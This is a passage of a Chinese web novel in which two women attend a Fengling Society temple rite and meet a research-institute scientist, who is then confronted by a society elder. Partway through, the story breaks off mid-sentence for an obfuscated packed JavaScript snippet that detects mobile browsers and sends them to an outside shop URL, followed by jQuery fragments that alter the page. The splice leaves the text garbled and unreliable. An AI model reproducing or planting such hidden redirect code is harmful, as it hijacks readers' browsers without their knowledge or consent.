这也是为何，风灵会神明体系众多，却鲜少被提及，也不会出现在风灵会的教堂中，唯独创世神一家独大。


    “如果是这样，我倒是有些好奇，对于人，创世神是宽恕的态度，还是憎恶。”


    阮意竹跟在队伍的末尾，她沉吟片刻，“这并没有准确的说法，不过大家现在祈求的，不过是活在岚观，和其它的被剔除的宗教不同，风灵会并不认可来世，也不认可轮回。”


    “你真的很博学。”步眠忍不住道。


    被夸了之后，阮意竹眉头微微上扬，“我作为一个文职人员，至少是合格的，在二十四区内，都是不可缺少的存在，你有什么想要知道的，都可以询问我。”


    “的确是有些事情想要问你。”四周人很安静，那些人穿着黑色的服饰诚恳的跟随在队伍中，缓慢的行走着，一瞬间，步眠想到了那些同样跟随着的防护服。


    袖子里的手臂起了一点点鸡皮疙瘩，像是某种朝拜仪式，从心底觉得不适。


    最重要的是，面前这些人的双眼中，步眠看不见尊敬，反倒是呈现出一种格外浮躁的欲望。


    “什么事情？”两个人窸窸窣窣的声音有些大了，在肃穆的教堂中显得有些吵闹，已经吸引了不少人的注意力。


    “等出去之后再和你说。”


    有阮意竹在面前带路，步眠并不担心自己不会见到左绥。


    轮到步眠与阮意竹祭拜的时候，她抬起头，深深的看了一眼创世神的雕塑。


    远观的时候只能看见一个模型，走近了去看的时候，才能看见那些深深的沟壑以及一些细节，那些花束的在石膏的作用下，居然真的做出了薄如纸的感觉。


    步眠的心里隐秘的划过一丝不舒服。


    在它面前的时候，只觉得自己像是蝼蚁一样。


    就好像她真的站在了这个创世神的脚下，而祂的目光无悲无喜，像是在看着一团空气。


    有一种说法是，不论是百年前的岚观蚂蚁还是现在的仿生蚂蚁，都感受不到人类的存在，就像是两个维度的家伙，不能够相见一样，而人类吹了口气，就会像是大风刮过，在蚂蚁世界中是无厘头不能解释的自然现象。


    “把东西放进去。”阮意竹说的是步眠一直扛在身后的咎谣心脏，见她没有动作，解释道：“里面有凌元忠的梵印，除非是匪石的拥有者，是没有办法打开的，现在匪石三个持有者，都在管理局。”


    步眠松了手，回想着前面一个人的动作，拿起四只香，在面前带着狮子面具人的指示下，将香放在火焰上，很轻的吹灭，变成了袅袅升起的香烟。


    四这个数字同四死谐音，对于正常人来说，总是有些避讳的，而在岚观民俗自古就有“喜四”之说，往往与富贵、幸运、吉祥联系在一起。


    至于面前这个像是硬纸张所叠狮子人，在一些古老的文化中，被视为神灵与保护灵，而在西方世界则是死亡撒旦的象征，而步眠脑海中想到的则是领头羊三个字。


    由此可见，一个词语的意思，会随着时光的飞逝而更改，和地区人们的理解而不同。


    祭祀完之后，往里走是一个四四方方房间，这里聚集的都是刚刚祭祀过人，上面放着一张张的平面桌子，桌子上放着遗落白纸与纸张。


    浓郁的檀香让步眠感觉鼻子有些发痒。


    阮意竹拉着步眠坐下，“你要写下自己的愿望吗，等今天的祭拜结束之后，工作人员会取下一些破碎的折纸，然后挂上屋顶。”


    “如果是取下，难道不是连带着希望也取下吗？”


    阮意竹没想过这个视角，思索片刻，“大约是为了美观？”


    两人聊了一些轻松的话题，可左绥迟迟未来，反观阮意竹，看起来也不太着急。


    阮意竹低着头，她拿起一张纸，熟练地叠着一个千纸鹤，“研究院的人日理万机，她来到这里，风灵会的那些人当然少不得巴结她……反正东西已经出去了，踪迹那边微渺姐也打下了，在这个范围内，已经没有我们的事情了，说清楚来源之后，我们就可以离开了。”


    “说清楚来源？”


    阮意竹点头，“嗯，研究院与管理局不是同一个机构，两方的资源并不共享，管理局不会将卷宗给研究院观看，但是需要研究院制作那些特质子弹，研究院会根据数量的多少，来回馈给一定比例的子弹，两方这才形成了一个微妙的平衡。”


    她叠了一个千纸鹤，笑眯眯的递给步眠，“上次述职是上官兄妹去的，两个月没有叠过纸了，希望没有生疏。”


    风灵会面前的这些纸张格外的平滑，相比于自己手中那些有些粗糙的纸张，不知道干净了多少。


    “你小小年纪的，怎么总是皱着眉头？她自己处理完事情会来找我们的，你也来试着叠一下吧？”


    “好。”


    阮意竹撑着头，有意让步眠开心一些，结合她之前的态度，猜到对方可能会对这些不着边际的风灵会故事感兴趣。


    她拿起千纸鹤，笑眯眯的，“你知道我们为什么可以进来吗？”


    “为什么？”


    “因为我们像人，像没有被改造过的人类，说起来，风灵会现在的信徒这么多，之前出过一个丑事，似乎在大家的记忆里已经磨灭了，也不知道这些信徒和之前是不是一批人。”


    阮意竹说着，她上前，在看见步眠手中折出的东西时，很轻缓的愣了一下，“衔尾蛇？”


    衔尾蛇是一个古老的符号，在众多文化与宗教中都曾经出现过衔尾蛇的形象，而它也被称为“自我吞食者。”


    那其实并不是折出的蛇，而是一个又一个三角形交接组合，最后咬住形成了无限不循环符号，才会让阮意竹想到这个东西。


    步眠低头，“你这么一说，似乎是有些相似。”


    半晌，面前出现了一个带着眼镜与口罩的女子，她全副武装着，一下子坐在步眠与阮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669675|169863||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意竹的面前，“是我，左绥。”


    “你这是什么造型？”阮意竹忍不住道。


    左绥艰难的呼吸着，白气从她黑色的口罩中喷发出来，又消散在空气中。


    她伸出手，和二十四区开裂的手不大一样，圆润纤细，一看就是被仔细保养过得。


    左绥打开终端录像，声线平稳，是那种很理性的声音，光是听着，就可以想象到对方在实验室中一丝不苟的样子，“二十四区管理局，获取人，心脏来源，踪迹的编码。”


    左绥携带的终端是便携性的，在桌面上自动投影出一个键盘的形状，在触碰上去的时候，会自动识别对方输入的是什么。


    阮意竹：“一颗是从监狱拿到，获取人是兰微渺、凌元忠、步眠，还有两颗是上官诗和上官意协助二十二区拿到的，这是踪迹的编码。”


    两人协调的速度很快，左绥似乎是无意，“听说你们局长，似乎是要离开管理局了？”


    阮意竹不动声色的将话题推回，微笑道：“毕竟是上司的事情，我们怎么会知道呢？知道多了，对谁都不太好不是吗？”


    左绥微微一笑，“上司？她不是你监护人吗？”


    阮意竹只是笑，两人视线交错，隐隐间夹杂着一些电流闪过。


    研究院对于有些事情总是过于探究，兰微渺将申请提交上去，研究院那些大脑发育不完全的巨婴怎么可能会放人。


    阮意竹道：“只是我没有想到，作为逢烟的弟子，也会帮助研究院旁敲侧击一些事情，逢烟护不住你还需要你做这些事情吗？说起来，最近的确是没有听见过你老师的一些消息了。”


    左绥的手微微收紧，她扫了踪迹的编码，“不该问的事情别问。”


    她的反应倒是让阮意竹有些意外，毕竟逢烟身为院长的女儿，这个反应，不会真的出事了吧？


    有的时候越怕什么就会经历什么，左绥双眼看了一下四周，在确定自己的行为，没有任何不妥之后，松了口气站起身准备离开的时候，就被一个穿着黑色信徒服饰的男人拦住了。


    和其他信徒粗制滥造的服装不一样，上面用金线做了一些装饰，从表面上做了区分。


    他看起来上了些年纪，头发花白，带着老花镜，身上的行为却没有丝毫的老气，身板挺直，可以看出年轻时的一举一动，“这不是研究院的左绥小姐吗？我上次说的那些事情，难道您心里没有什么想法吗？”


    阮意竹没有说话，两个人就那么看着左绥。


    “您认错人了。”


    像是管家打扮的老年人一下子就抓住了左绥，“您说笑了，研究院这么频繁的出面，恐怕不会是在我们这里运送什么东西吧？何必那么麻烦，我之前就奇怪，怎么我们信徒送给创世神的东西总是频频失踪，研究院也不必那么放着我们，借着我们的线路还对我们甩脸色，相信我们，风灵会手上的东西，一定会让您满意的，不如，我们去旁边谈论？”